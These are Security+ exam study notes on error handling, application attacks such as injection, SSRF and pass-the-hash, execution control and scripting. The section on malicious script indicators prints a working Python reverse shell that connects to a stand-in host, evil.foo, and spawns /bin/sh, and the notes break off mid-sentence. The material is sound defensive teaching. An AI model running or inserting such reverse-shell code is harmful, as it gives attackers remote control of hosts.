Security+ lesson 14
error handling
A well-written application must be able to handle errors and exceptions gracefully. This means that the application performs in a controlled way when something unpredictable happens. An error or exception could be caused by invalid user input, a loss of network connectivity, another server or process failing, and so on. Ideally, the programmer will have written a structured exception handler (SEH) to dictate what the application should then do. Each procedure can have multiple exception handlers. Some handlers will deal with anticipated errors and exceptions; there should also be a catchall handler that will deal with the unexpected. The main goal must be for the application not to fail in a way that allows the attacker to execute code or perform some sort of injection attack. One infamous example of a poorly written exception handler is the Apple GoTo bug (nakedsecurity.sophos.com/2014/02/24/anatomy-of-a-goto-fail-apples-ssl-bug-explained-plus-an-unofficial-patch). Another issue is that an application's interpreter may default to a standard handler and display default error messages when something goes wrong. These may reveal platform information and the inner workings of code to an attacker. It is better for an application to use custom error handlers so that the developer can choose the amount of information shown when an error is caused. Technically, an error is a condition that the process cannot recover from, such as the system running out of memory. An exception is a type of error that can be handled by a block of code without the process crashing. Note that exceptions are still described as generating error codes/messages, however.
application dev, deployment, and automation
A DevSecOps culture gives project teams a broad base of development, security, and operations expertise and experience. This promotes an environment in which security tasks make increased use of automation. Automation is the completion of an administrative task without human intervention. Task automation steps may be configurable through a GUI control panel, via a command line, or via an API called by scripts. Tasks can be automated to provision resources, add accounts, assign permissions, perform incident detection and response, and any number of other network security tasks. Manual configuration introduces a lot of scope for making errors. A technician may be unsure of best practice, or there may be a lack of documentation. Over time, this leads to many small discrepancies in the way instances and services are configured. These small discrepancies can become big problems when it comes to maintaining, updating, and securing IT and cloud infrastructure. Automation provides better scalability and elasticity: Scalability means that the costs involved in supplying the service to more users are linear. For example, if the number of users doubles in a scalable system, the costs to maintain the same level of service would also double (or less than double). If costs more than double, the system is less scalable. Elasticity refers to the system's ability to handle changes on demand in real time. A system with high elasticity will not experience loss of service or performance if demand suddenly doubles (or triples, or quadruples). Conversely, it may be important for the system to be able to reduce costs when demand is low. Elasticity is a common selling point for cloud services. Instead of running a cloud resource for 24 hours a day, 7 days a week, that resource can diminish in power or shut down completely when demand for that resource is low. When demand picks up again, the resource will grow in power to the level required. This results in cost-effective operations.
python modules
A Python module is a library of functions for accomplishing standard tasks, such as opening a network socket or interacting with an operating system's API. One of the perceived strengths of Python is the huge number of modules. For example, the os module contains functions to interact with the operating system, while the socket module handles network connections and the url module opens and parses resource addresses. Various extension modules allow a Python script to interact with Windows APIs. The presence of two malicious libraries within a Python repository illustrates the potential risks of third-party code (https://www.zdnet.com/article/two-malicious-python-libraries-removed-from-pypi/).
SSL Strip
A Secure Sockets Layer (SSL) strip attack is launched against clients on a local network as they try to make connections to websites. The threat actor must first perform a Man-in-the-Middle attack via ARP poisoning to masquerade as the default gateway. When a client requests an HTTP site that redirects to an HTTPS site in an unsafe way, the sslstrip utility (tools.kali.org/information-gathering/sslstrip) proxies the request and response, serving the client the HTTP site, hopefully with an unencrypted login form. If the user enters credentials, they will be captured by the threat actor. Sites can use the HTTP Strict Transport Security (HSTS) lists maintained by browsers to prevent clients requesting HTTP in the first place.
Percent Encoding
A URL can contain only unreserved and reserved characters from the ASCII set. Reserved ASCII characters are used as delimiters within the URL syntax and should only be used unencoded for those purposes. The reserved characters are: : / ? # [ ] @ ! $ & ' ( ) * + , ; = There are also unsafe characters, which cannot be used in a URL. Control characters, such as null string termination, carriage return, line feed, end of file, and tab, are unsafe. Percent encoding allows a user-agent to submit any safe or unsafe character (or binary data) to the server within the URL. Its legitimate uses are to encode reserved characters within the URL when they are not part of the URL syntax and to submit Unicode characters. Percent encoding can be misused to obfuscate the nature of a URL (encoding unreserved characters) and submit malicious input. Percent encoding can exploit weaknesses in the way the server application performs decoding. Consequently, URLs that make unexpected or extensive use of percent encoding should be treated carefully. You can use a resource such as W3 Schools (w3schools.com/tags/ref_urlencode.asp) for a complete list of character codes, but it is helpful to know some of the characters most widely used in exploits.
buffer overflow
A buffer is an area of memory that the application reserves to store expected data. To exploit a buffer overflow vulnerability, the attacker passes data that deliberately overfills the buffer. One of the most common vulnerabilities is a stack overflow. The stack is an area of memory used by a program subroutine. It includes a return address, which is the location of the program that called the subroutine. An attacker could use a buffer overflow to change the return address, allowing the attacker to run arbitrary code on the system.
cross-site request forgery
A client-side or cross-site request forgery (CSRF or XSRF) can exploit applications that use cookies to authenticate users and track sessions. To work, the attacker must convince the victim to start a session with the target site. The attacker must then pass an HTTP request to the victim's browser that spoofs an action on the target site, such as changing a password or an email address. This request could be disguised in a few ways and so could be accomplished without the victim necessarily having to click a link. If the target site assumes that the browser is authenticated because there is a valid session cookie and doesn't complete any additional authorization process on the attacker's input (or if the attacker is able to spoof the authorization), it will accept the input as genuine. This is also referred to as a confused deputy attack (the point being that the user and the user's browser are not necessarily the same thing).
command injection
A command injection attack attempts to cause the server to run OS shell commands and return the output to the browser. As with directory traversal, the web server should normally be able to prevent commands from operating outside of the server's directory root and to prevent commands from running with any other privilege level than the web "guest" user (who is normally granted only very restricted privileges). A successful command injection attack would find some way of circumventing this security (or find a web server that is not properly configured).
macros and visual basic for applications
A document macro is a sequence of actions performed in the context of a word processor, spreadsheet, or presentation file. While the user may be able to record macro steps using the GUI, ultimately macros are coded in a scripting language. Microsoft Office uses the Visual Basic for Applications (VBA) language, while PDF documents use JavaScript. Microsoft Office document macros can be inspected using ALT+F11. Other vendors and open-source software also implement macro functionality, using languages such as Basic or Python. A malicious actor will try to use a macro-enabled document to execute arbitrary code. For example, a Word document could be the vector for executing a malicious PowerShell script. Macros are disabled by default in Office, but the attacker may be able to use a social engineering attack to get the user to change the policy. With PDF, the JavaScript might be embedded within the document and designed to exploit a known vulnerability in the reader software to execute without authorization (sentinelone.com/blog/malicious-pdfs-revealing-techniques-behind-attacks).
DLL injection and driver manipulation
A dynamic link library (DLL) is a binary package that implements some sort of standard functionality, such as establishing a network connection or performing cryptography. The main process of a software application is likely to load several DLLs during the normal course of operations. DLL injection is a vulnerability in the way the operating system allows one process to attach to another. This functionality can be abused by malware to force a legitimate process to load a malicious link library. The link library will contain whatever functions the malware author wants to be able to run. Malware uses this technique to move from one host process to another to avoid detection. A process that has been compromised by DLL injection might open unexpected network connections, or interact with files and the registry suspiciously. To perform DLL injection the malware must already be operating with sufficient privileges, typically local administrator or system privileges. It must also evade detection by anti-virus software. One means of doing this is code refactoring. Refactoring means that the code performs the same function by using different methods (control blocks, variable types, and so on). Refactoring means that the A-V software may no longer identify the malware by its signature. OS function calls to allow DLL injection are legitimately used for operations such as debugging and monitoring. Another opportunity for malware authors to exploit these calls is the Windows Application Compatibility framework. This allows legacy applications written for an OS, such as Windows XP, to run on later versions. The code library that intercepts and redirects calls to enable legacy mode functionality is called a shim. The shim must be added to the registry and its files (packed in a shim database/.SDB file) added to the system folder. The shim database represents a way that malware with local administrator privileges can run on reboot (persistence).
man in the browser attack
A man-in-the-browser (MitB) attack is a specific type of on-path attack where the web browser is compromised. Depending on the level of privilege obtained, the attacker may be able to inspect session cookies, certificates, and data, change browser settings, perform redirection, and inject code. A MitB attack may be accomplished by installing malicious plug-ins or scripts or intercepting calls between the browser process and DLLs (attack.mitre.org/techniques/T1185). The Browser Exploitation Framework (BeEF) (beefproject.com) is one well known MitB tool. There are various vulnerability exploit kits that can be installed to a website to actively try to exploit vulnerabilities in clients browsing the site (trendmicro.com/vinfo/ie/security/definition/exploit-kit). These kits may either be installed to a legitimate site without the owner's knowledge (by compromising access control on the web server) and load in an iFrame (invisible to the user), or the attacker may use phishing/social engineering techniques to trick users into visiting the site.
response headers
A number of security options can be set in the response header returned by the server to the client (owasp.org/www-project-secure-headers). While it should seem like a straightforward case of enabling all these, developers are often constrained by compatibility and implementation considerations between different client browser and server software types and versions. Some of the most important security-relevant header options are: HTTP Strict Transport Security (HSTS)—forces browser to connect using HTTPS only, mitigating downgrade attacks, such as SSL stripping. Content Security Policy (CSP)—mitigates clickjacking, script injection, and other client-side attacks. Note that X-Frame-Options and X-XSS-Protection provide mitigation for older browser versions, but are now deprecated in favor of CSP. Cache-Control—sets whether the browser can cache responses. Preventing caching of data protects confidential and personal information where the client device might be shared by multiple users.
input validation
A primary vector for attacking applications is to exploit faulty input validation. Input could include user data entered into a form or URL passed by another application as a URL or HTTP header. Malicious input could be crafted to perform an overflow attack or some type of script or SQL injection attack. To mitigate this risk, all input methods should be documented with a view to reducing the potential attack surface exposed by the application. There must be routines to check user input, and anything that does not conform to what is required must be rejected.
server-side request forgery
A server-side request forgery (SSRF) causes the server application to process an arbitrary request that targets another service, either on the same host or a different one (owasp.org/www-community/attacks/Server_Side_Request_Forgery). SSRF exploits both the lack of authentication between the internal servers and services (implicit trust) and weak input validation, allowing the attacker to submit unsanitized requests or API parameters. A web application takes API input via a URL or as data encoded in HTTP response headers. The web application is likely to use a standard library to read (parse) the URL or response headers. Many SSRF attacks depend on exploits against specific parsing mechanisms in standard libraries for web servers, such as Apache or IIS, and web application programming languages and tools, such as the curl library, Java, and PHP. SSRF can also use XML injection to exploit weaknesses in XML document parsing. One type of SSRF uses HTTP request splitting or CRLF injection. The attacker crafts a malicious URL or request header targeting the server's API. The request contains extra line feeds, which may be coded in some non-obvious way. Unless the web server strips these out when processing the URL, it will be tricked into performing a second HTTP request. SSRF attacks are often targeted against cloud infrastructure where the web server is only the public-facing component of a deeper processing chain. A typical web application comprises multiple layers of servers, with a client interface, middleware logic layers, and a database layer. Requests initiated from the client interface (a web form) are likely to require multiple requests and responses between the middleware and back-end servers. These will be implemented as HTTP header requests and responses between each server's API. SSRF is a means of accessing these internal servers by causing the public server to execute requests on them. While with CSRF an exploit only has the privileges of the client, with SSRF the manipulated request is made with the server's privilege level.
pass the hash attack
A threat actor has to be either relatively lucky to find an unpatched vulnerability, or well-resourced enough to develop a zero-day exploit. Once an initial foothold has been gained, the threat actor may try to find simpler ways to move around the network. Attackers can extend their lateral movement by a great deal if they are able to compromise host credentials. One common credential exploit technique for lateral movement is called pass the hash (PtH). This is the process of harvesting an account's cached credentials when the user is logged into a single sign-on (SSO) system so the attacker can use the credentials on other systems. If the threat actor can obtain the hash of a user password, it is possible to present the hash (without cracking it) to authenticate to network protocols such as the Windows File Sharing protocol Server Message Block (SMB), and other protocols that accept Windows NT LAN Manager (NTLM) hashes as authentication credentials. For example, most Windows domain networks are configured to allow NTLM as a legacy authentication method for services. The attacker's access isn't just limited to a single host, as they can pass the hash onto any computer in the network that is tied to the domain. This drastically cuts down on the effort the threat actor must spend in moving from host to host. Pass the hash is relatively difficult to detect, as it exploits legitimate network behavior. A detection system can be configured to correlate a sequence of security log events using NTLM-type authentication, but this method can be prone to false positives (blog.stealthbits.com/how-to-detect-pass-the-hash-attacks).
server side vs client-side validation
A web application (or any other client-server application) can be designed to perform code execution and input validation locally (on the client) or remotely (on the server). An example of client-side execution is a document object model (DOM) script to render the page using dynamic elements from user input. Applications may use both techniques for different functions. The main issue with client-side validation is that the client will always be more vulnerable to some sort of malware interfering with the validation process. The main issue with server-side validation is that it can be time-consuming, as it may involve multiple transactions between the server and client. Consequently, client-side validation is usually restricted to informing the user that there is some sort of problem with the input before submitting it to the server. Even after passing client-side validation, the input will still undergo server-side validation before it can be posted (accepted). Relying on client-side validation only is poor programming practice.
execution control allow and block lists
Allow and Block Lists Execution control can be implemented as either an allow list or a block list. Allow list is a highly restrictive policy that means only running authorized processes and scripts. Allowing only specific applications that have been added to a list will inevitably hamper users at some point and increase support time and costs. For example, a user might need to install a conferencing application at short notice. Block list is a permissive policy that only prevents execution of listed processes and scripts. It is vulnerable to software that has not previously been identified as malicious (or capable of or vulnerable to malicious use). These concepts can also be referred to as whitelists and blacklists, but most sources now deprecate this terminology.
application attacks
An application attack targets a vulnerability in OS or application software. An application vulnerability is a design flaw that can cause the application security system to be circumvented or that will cause the application to crash. Privilege Escalation The purpose of most application attacks is to allow the threat actor to run his or her own code on the system. This is referred to as arbitrary code execution. Where the code is transmitted from one machine to another, it can be referred to as remote code execution. The code would typically be designed to install some sort of backdoor or to disable the system in some way (denial of service). An application or process must have privileges to read and write data and execute functions. Depending on how the software is written, a process may run using a system account, the account of the logged-on user, or a nominated account. If a software exploit works, the attacker may be able to execute arbitrary code with the same privilege level as the exploited process. There are two main types of privilege escalation: Vertical privilege escalation (or elevation) is where a user or application can access functionality or data that should not be available to them. For instance, a process might run with local administrator privileges, but a vulnerability allows the arbitrary code to run with higher system privileges. Horizontal privilege escalation is where a user accesses functionality or data that is intended for another user. For instance, via a process running with local administrator privileges on a client workstation, the arbitrary code is able to execute as a domain account on an application server. Without performing detailed analysis of code or process execution in real-time, it is privilege escalation that provides the simplest indicator of an application attack. If process logging has been configured (varonis.com/blog/sysmon-threat-detection-guide), the audit log can provide evidence of privilege escalation attempts. These attempts may also be detected by incident response and endpoint protection agents, which will display an alert. Error Handling An application attack may cause an error message. In Windows, this may be of the following types: "Instruction could not be read or written," "Undefined exception," or "Process has encountered a problem." One issue for error handling is that the application should not reveal configuration or platform details that could help an attacker. For example, an unhandled exception on a web application might show an error page that reveals the type and configuration of a database server. Improper Input Handling Most software accepts user input of some kind, whether the input is typed manually or passed to the program by another program, such as a browser passing a URL to a web server or a Windows process using another process via its application programming interface. Good programming practice dictates that input should be tested to ensure that it is valid; that is, the sort of data expected by the receiving process. Most application attacks work by passing invalid or maliciously constructed data to the vulnerable process. There are many ways of exploiting improper input handling, but many attacks can be described as either overflow-type attacks or injection-type attacks.
ldap injection
An application attack that targets web-based applications by fabricating LDAP statements that are typically created by user input.
automation/scripting release paradigms: continuous validation
An application model is a statement of the requirements driving the software development project. The requirements model is tested using processes of verification and validation (V&V): Verification is a compliance testing process to ensure that the product or system meets its design goals. Validation is the process of determining whether the application is fit-for-purpose (so for instance, its design goals meet the user requirements). With the continuous paradigm, feedback from delivery and deployment must be monitored and evaluated to ensure that the design goals continue to meet user and security requirements. The monitoring and validation processes must also ensure that there is no drift from the secure configuration baseline.
software diversity
An application's runtime environment will use one of two approaches for execution on a host system: Compiled code is converted to binary machine language that can run independently on the target OS. Interpreted code is packaged pretty much as is but is compiled line-by-line by an interpreter, such as PowerShell or JavaScript. This offers a solution that is platform independent because the interpreter resolves the differences between OS types and versions. Software diversity can refer to obfuscation techniques to make code difficult to detect as malicious. This is widely used by threat actors in the form of shellcode compilers to avoid signature detection, such as the venerable Shikata Ga Nai (fireeye.com/blog/threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html). This can be used as a defensive technique. Obfuscating API methods and automation code makes it harder for a threat actor to reverse engineer and analyze the code to discover weaknesses. There is also general research interest in security by diversity. This works on the principle that attacks are harder to develop against nonstandard environments. A monoculture environment, such as a Windows domain network, presents a fairly predictable attack surface with plenty of commodity malware tools available to exploit misconfigurations. Using a wide range of development tools and OS/application vendors and versions can make attack strategies harder to research. As with security by obscurity, this will not defeat a targeted attack, but it can partially mitigate risks from less motivated threat actors, who will simply move to the next, easier target. On the other hand, this sort of complexity will tend to lead to greater incidence of configuration errors as technicians and developers struggle to master unfamiliar technologies.
XML injection
An attack that injects XML tags and data into a database.
SQL Injection
An attack that targets SQL servers by injecting commands to be manipulated by the database.
automation/scripting release paradigms: continuous monitoring and autmated courses of action
An automation solution will have a system of continuous monitoring to detect service failures and security incidents. Continuous monitoring might use a locally installed agent or heartbeat protocol or may involve checking availability remotely. As well as monitoring the primary site, it is important to observe the failover components to ensure that they are recovery ready. You can also automate the courses of action that a monitoring system takes, like configuring an IPS to automatically block traffic that it deems suspicious. This sort of capability is provided by security orchestration and response (SOAR) management software.
integer overflow
An integer is a positive or negative number with no fractional component (a whole number). Integers are widely used as a data type, where they are commonly defined with fixed lower and upper bounds. An integer overflow attack causes the target software to calculate a value that exceeds these bounds. This may cause a positive number to become negative (changing a bank debit to a credit, for instance). It could also be used where the software is calculating a buffer size; if the attacker is able to make the buffer smaller than it should be, he or she may then be able to launch a buffer overflow attack.
HTTP methods
As part of URL analysis, it is important to understand how HTTP operates. An HTTP session starts with a client (a user-agent, such as a web browser) making a request to an HTTP server. The connection establishes a TCP connection. This TCP connection can be used for multiple requests, or a client can start new TCP connections for different requests. A request typically comprises a method, a resource (such as a URL path), version number, headers, and body. The principal method is GET, used to retrieve a resource. Other methods include: POST—send data to the server for processing by the requested resource. PUT—create or replace the resource. DELETE can be used to remove the resource. HEAD—retrieve the headers for a resource only (not the body). Data can be submitted to a server either by using a POST or PUT method and the HTTP headers and body, or by encoding the data within the URL used to access the resource. Data submitted via a URL is delimited by the ? character, which follows the resource path. Query parameters are usually formatted as one or more name=value pairs, with ampersands delimiting each pair. A URL can also include a fragment or anchor ID, delimited by #. The fragment is not processed by the web server. An anchor ID is intended to refer to a section of a page but can be misused to inject JavaScript. The server response comprises the version number and a status code and message, plus optional headers, and message body. An HTTP response code is the header value returned by a server when a client requests a URL, such as 200 for "OK" or 404 for "Not Found."
Uniform resource locator analysis
As well as pointing to the host or service location on the Internet (by domain name or IP address), a uniform resource locator (URL) can encode some action or data to submit to the server host. This is a common vector for malicious activity.
malicious code indicators
As with buffer overflow, indicators of malicious code execution are either caught by endpoint protection software or discovered after the fact in logs of how the malware interacted with the network, file system, and registry. If you are performing threat hunting or observing malware in a sandbox, it is helpful to consider the main types of malicious activity: Shellcode—this is a minimal program designed to exploit a buffer overflow or similar vulnerability to gain privileges, or to drop a backdoor on the host if run as a Trojan (attack.mitre.org/tactics/TA0002). Having gained a foothold, this type of attack will be followed by some type of network connection to download additional tools. Credential dumping—the malware might try to access the credentials file (SAM on a local Windows workstation) or sniff credentials held in memory by the lsass.exe system process (attack.mitre.org/tactics/TA0006). Lateral movement/insider attack—the general procedure is to use the foothold to execute a process remotely, using a tool such as psexec (docs.microsoft.com/en-us/sysinternals/downloads/psexec) or PowerShell (attack.mitre.org/tactics/TA0008). The attacker might be seeking data assets or may try to widen access by changing the system security configuration, such as opening a firewall port or creating an account. If the attacker has compromised an account, these commands can blend in with ordinary network operations, though they could be anomalous behavior for that account. Persistence—this is a mechanism that allows the threat actor's backdoor to restart if the host reboots or the user logs off (attack.mitre.org/tactics/TA0003). Typical methods are to use AutoRun keys in the registry, adding a scheduled task, or using Windows Management Instrumentation (WMI) event subscriptions.
scripting
Automation using scripting means that each configuration or build task is performed by a block of code. The script will take standard arguments as data, so there is less scope for uncertainty over configuration choices leading to errors. A script will use the following elements: Parameters that the script takes as input data (passed to the script as arguments). Branching and looping statements that can alter the flow of execution based on logic conditions. Validation and error handlers to check inputs and ensure robust execution. Unit tests to ensure that the script returns the expected outputs, given the expected inputs. Popular scripting languages for automation include PowerShell (docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7), Python (python.org), JavaScript (w3schools.com/js), Ruby (ruby-lang.org/en), and Go (golang.org). Scripting will also make use of domain-specific languages, such as SQL, XML parsing, regex, and orchestration tools. A scripting language like Python is a general purpose or procedural language. It can be adapted to perform many tasks. A domain-specific language (DSL) performs a particular task, such as regex string parsing. Orchestration manages multiple automation scripts and configuration data to provision a service. All coding languages have a specific syntax that constrains the way sections of code are laid out in blocks and the standard statements that are available, such as branching and looping constructions.
logic and looping statements in python
Branching and looping statements let you test conditions and perform repetitive actions using compact code A control block is written with indentation in the following general form: if name == 'World': #These indented statements are only executed if the condition is true print('Enter your first name') name = input() print('Enter your surname') surname = input() #This ends the if statement as the next line is not indented greeting = 'Hello ' + fullname(name,surname) Python uses only if for branching logic, though complex nested conditions can be simplified with else and elif (else if). Loops can be constructed using for and while.
clickjacking
Clickjacking is an attack where what the user sees and trusts as a web application with some sort of login page or form contains a malicious layer or invisible iFrame (a web page embedded inside another web page) that allows an attacker to intercept or redirect user input. Clickjacking can be launched using any type of compromise that allows the adversary to run arbitrary code as a script. Clickjacking can be mitigated by using HTTP response headers that instruct the browser not to open frames from different origins (domains) and by ensuring that any buttons or input boxes on a page are positioned on the top-most layer.
cross-site scripting
Code injected by malicious web users into web pages viewed by other users.
code signing
Code signing is the principal means of proving the authenticity and integrity of code (an executable or a script). The developer creates a cryptographic hash of the file then signs the hash using his or her private key. The program is shipped with a copy of the developer's code signing certificate, which contains a public key that the destination computer uses to read and verify the signature. The OS then prompts the user to choose whether to accept the signature and run the program.
automation/scripting release paradigms
Coding projects are managed using different life cycle models. The waterfall model software development life cycle (SDLC) is an older paradigm that focuses on the successful completion of monolithic projects that progress from stage-to-stage. The more recent Agile paradigm uses iterative processes to release well-tested code in smaller blocks or units. In this model, development and provisioning tasks are conceived as continuous.
automation/scripting release paradigms: continuous integration
Continuous integration (CI) is the principle that developers should commit and test updates often—every day or sometimes even more frequently. This is designed to reduce the chances of two developers spending time on code changes that are later found to conflict with one another. CI aims to detect and resolve these conflicts early, as it is easier to diagnose one or two conflicts or build errors than it is to diagnose the causes of tens of them. For effective CI, it is important to use an automated test suite to validate each build quickly.
secure cookies
Cookies can be a vector for session hijacking and data exposure if not configured correctly (developer.mozilla.org/en-US/docs/Web/HTTP/Cookies). Some of the key parameters for the SetCookie header are: Avoid using persistent cookies for session authentication. Always use a new cookie when the user reauthenticates. Set the Secure attribute to prevent a cookie being sent over unencrypted HTTP. Set the HttpOnly attribute to make the cookie inaccessible to document object model/client-side scripting. Use the SameSite attribute to control from where a cookie may be sent, mitigating request forgery attacks.
data exposure
Data exposure is a fault that allows privileged information (such as a token, password, or personal data) to be read without being subject to the appropriate access controls. Applications must only transmit such data between authenticated hosts, using cryptography to protect the session. When incorporating encryption in your code, it's important to use encryption algorithms and techniques that are known to be strong, rather than creating your own.
provisioning, deprovisioning and version control: deprovisioning
Deprovisioning is the process of removing an application from packages or instances. This might be necessary if software has to be completely rewritten or no longer satisfies its purpose. As well as removing the application itself, it is also important to make appropriate environment changes to remove any configurations (such as open firewall ports) that were made just to support that application.
static code analysis
Development is only one stage in the software life cycle. A new release of an application or automation script should be audited to ensure that it meets the goals of confidentiality, integrity, and availability critical to any secure computer system. Static code analysis (or source code analysis) is performed against the application code before it is packaged as an executable process. The analysis software must support the programming language used by the source code. The software will scan the source code for signatures of known issues, such as OWASP Top 10 Most Critical Web Application Security Risks or injection vulnerabilities generally. NIST maintains a list of source code analyzers and their key features (samate.nist.gov/index.php/Source_Code_Security_Analyzers.html). Human analysis of software source code is described as a manual code review. It is important that the code be reviewed by developers (peers) other than the original coders to try to identify oversights, mistaken assumptions, or a lack of knowledge or experience. It is important to establish a collaborative environment in which reviews can take place effectively.
directory transversal
Directory traversal is another type of injection attack performed against a web server. The threat actor submits a request for a file outside the web server's root directory by submitting a path to navigate to the parent directory (../). This attack can succeed if the input is not filtered properly and access permissions on the file are the same as those on the web server directory. The threat actor might use a canonicalization attack to disguise the nature of the malicious input. Canonicalization refers to the way the server converts between the different methods by which a resource (such as a file path or URL) may be represented and submitted to the simplest (or canonical) method used by the server to process the input. Examples of encoding schemes include HTML entities and character set percent encoding (ASCII and Unicode). An attacker might be able to exploit vulnerabilities in the canonicalization process to perform code injection or facilitate directory traversal.
OS-based execution control
Execution control is often enforced using a third-party security product, but there are some built-in Windows features that can perform the task: Software Restriction Policies (SRP)—available for most versions and editions of Windows, SRP can be configured as group policy objects (GPOs) to passlist file system locations from which executables and scripts can launch. Rules can also be configured by publisher signature or by file hash. There is also support for creating blocklist-based rules. AppLocker—improves configuration options and default usage of SRP. Notably AppLocker policies can be applied to user and group accounts rather than just computer accounts. However, AppLocker GPOs can only be configured for Enterprise and Ultimate editions of Windows 7 and later. Windows Defender Application Control (WDAC)—formerly Device Guard, this can be used to create Code Integrity (CI) policies, which can be used on their own or in conjunction with AppLocker. CI policies apply to the computer and affect all users. CI policies can be based on version-aware and publisher digital signatures, as well as image hashes and/or file paths. WDAC is a useful option for preventing administrator accounts from disabling execution control options (docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control). WDAC is principally configured using XML policy statements and PowerShell. In Windows, execution of PowerShell scripts can be inhibited by the execution policy. Note that the execution policy is not an access control mechanism. It can be bypassed in any number of different ways. WDAC is a robust mechanism for restricting use of potentially dangerous code, such as malicious PowerShell. In Linux, execution control is normally enforced by using a mandatory access control (MAC) kernel module or Linux Security Module (LSM). The two main LSMs are SELinux (access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/deployment_guide/ch-selinux) and AppArmor (wiki.ubuntu.com/AppArmor).
functions in python
Functions are used to produce modular, reusable code. A function takes some arguments as parameters, performs some processing, and typically returns some output. When creating a script, you will use some functions from Python's modules and define your own functions. A function is defined using the following indentation syntax: def fullname(name,surname): return name + " " + surname #This ends the function definition #The next line calls the function to set a variable greeting = 'Hello ' + fullname('World', '') print(greeting)
memory leaks and resource exhaustion
If a process is operating correctly, when it no longer requires a block of memory, it should release it. If the program code does not do this, it could create a situation where the system continually leaks memory to the faulty process. This means less memory is available to other processes and the system could crash. Memory leaks are particularly serious in service/background applications, as they will continue to consume memory over an extended period. Memory leaks in the OS kernel are also extremely serious. A memory leak may itself be a sign of a malicious or corrupted process. More generally, a malicious process might cause denial of service or set up the conditions for privilege escalation via resource exhaustion. Resources refers to CPU time, system memory allocation, fixed disk capacity, and network utilization. A malicious process could spawn multiple looping threads to use up CPU time, or write thousands of files to disk. Distributed attacks against network applications perform a type of resource exhaustion attack by starting but not completing sessions, causing the application to fill up its state table, leaving no opportunities for genuine clients to connect.
null pointer dereferencing and race conditions
In C/C++ programming, a pointer is a variable that stores a memory location, rather than a value. Attempting to read or write that memory address via the pointer is called dereferencing. If the memory location is invalid or null (perhaps by some malicious process altering the execution environment), this creates a null pointer dereference type of exception, and the process will crash, probably. In some circumstances, this might also allow a threat actor to run arbitrary code. Programmers can use logic statements to test that a pointer is not null before trying to use it. A race condition is one means of engineering a null pointer dereference exception. Race conditions occur when the outcome from an execution process is directly dependent on the order and timing of certain events, and those events fail to execute in the order and timing intended by the developer. In 2016, the Linux kernel was discovered to have an exploitable race condition vulnerability, known as Dirty COW (theregister.com/2016/10/21/linux_privilege_escalation_hole). Race condition attacks can also be directed at databases and file systems. A time of check to time of use (TOCTTOU) race condition occurs when there is a change between when an app checked a resource and when the app used the resource. This change invalidates the check. An attacker that can identify a TOCTTOU vulnerability will attempt to manipulate data after it has been checked but before the application can use this data to perform some operation. For example, if an application creates a temporary file to store a value for later use, and an attacker can replace or delete this file between the time it is created and the time it is used, then the attacker is exploiting a TOCTTOU vulnerability.
overflow vulnerabilities
In an overflow attack, the threat actor submits input that is too large to be stored in a variable assigned by the application. Some of the general overflow vulnerabilities are discussed here. To keep up to date with specific attack methods and new types of attack, monitor a site such as OWASP (owasp.org/www-community/attacks). Ideally, the code used to attempt these attacks will be identified by network IDS or by an endpoint protection agent. Unsuccessful attempts may be revealed through unexplained crashes or error messages following a file download, execution of a new app or a script, or connection of new hardware.
Session hijacking and cross-site request forgery
In the context of a web application, session hijacking most often means replaying a cookie in some way. Attackers can sniff network traffic to obtain session cookies sent over an unsecured network, like a public Wi-Fi hotspot. To counter cookie hijacking, you can encrypt cookies during transmission, delete cookies from the client's browser cache when the client terminates the session, and design your web app to deliver a new cookie with each new session between the app and the client's browser. Session prediction attacks focus on identifying possible weaknesses in the generation of session tokens that will enable an attacker to predict future valid session values. If an attacker can predict the session token, then the attacker can take over a session that has yet to be established. A session token must be generated using a non-predictable algorithm, and it must not reveal any information about the session client. In addition, proper session management dictates that apps limit the lifespan of a session and require reauthentication after a certain period.
obfuscation/camouflage
It is important that code be well-documented, to assist the efforts of multiple programmers working on the same project. Well-documented code is also easier to analyze, however, which may assist the development of attacks. Code can be made difficult to analyze by using an obfuscator, which is software that randomizes the names of variables, constants, functions, and procedures, removes comments and white space, and performs other operations to make the compiled code physically and mentally difficult to read and follow. This sort of technique might be used to make reverse engineering an application more difficult and as a way of disguising malware code.
memory management
Many arbitrary code attacks depend on the target application having faulty memory management procedures. This allows the attacker to execute his or her own code in the space marked out by the target application. There are known unsecure practices for memory management that should be avoided and checks for processing untrusted input, such as strings, to ensure that it cannot overwrite areas of memory.
cmdlets and functions
Most PowerShell usage is founded on cmdlets. A cmdlet is a compiled library that exposes some configuration or administrative task, such as starting a VM in Hyper-V. Cmdlets use a Verb-Noun naming convention. Cmdlets always return an object. Typically, the return from a cmdlet will be piped to some other cmdlet or function. For example: Get-Process | Where { $_.name -eq 'nmap' } | Format-List You can also define simple functions for use within your scripts. Custom functions are declared within curly brackets: function Cat-Name { param ($name,$surname) return $name + ' ' + $surname } #This ends the function declaration; the next statement calls it $greeting = 'Hello ' + $(Cat-Name('World','')) Write-Host $greeting Note that a variable is declared by prefixing a label with $.
bash and python malicious indicators
Most of the web runs on Linux, and Linux has proven remarkably resilient to attacks (meaning that it is able to withstand or recover quickly from difficult situations), given the high-value of the assets that depend on it. Most exploits of Linux systems depend on weak configuration, and/or vulnerabilities in web applications. In Linux, the command line is usually Bourne Again Shell (Bash). Many Linux systems have Python enabled as well. Python scripts or batch files of bash commands can be used for automation tasks, such as backup, or for malicious purposes. A malicious script running on a Linux host might attempt the following: Use commands such as whoami and ifconfig/ip/route to establish the local context. Download tools, possibly using wget or curl. Add crontab entries to enable persistence. Add a user to sudo and enable remote access via SSH. Change firewall rules using iptables. Use tools such as Nmap to scan for other hosts. A very common vector for attacking Linux hosts is to use an exploit to install a web shell as a backdoor (acunetix.com/blog/articles/introduction-web-shells-part-1). Typical code to implement a reverse shell (connecting out to the machine at evil.foo on port 4444) is as follows: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("evil.foo",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/sh")' The os.dup2 statements redirect the terminal's data streams stdin (0), stdout (1), and stderr (2) to the socket object (s). The pty module provides a library of functions for managing a pseudo-terminal, in this case starting the shell process at /bin/sh. The code to implement a shell can be obfuscated in numerous ways. One way to identify malicious scripts trying to match code samples is to scan the file system against a configuration baseline, either using file integrity monitoring or use of the Linux diff 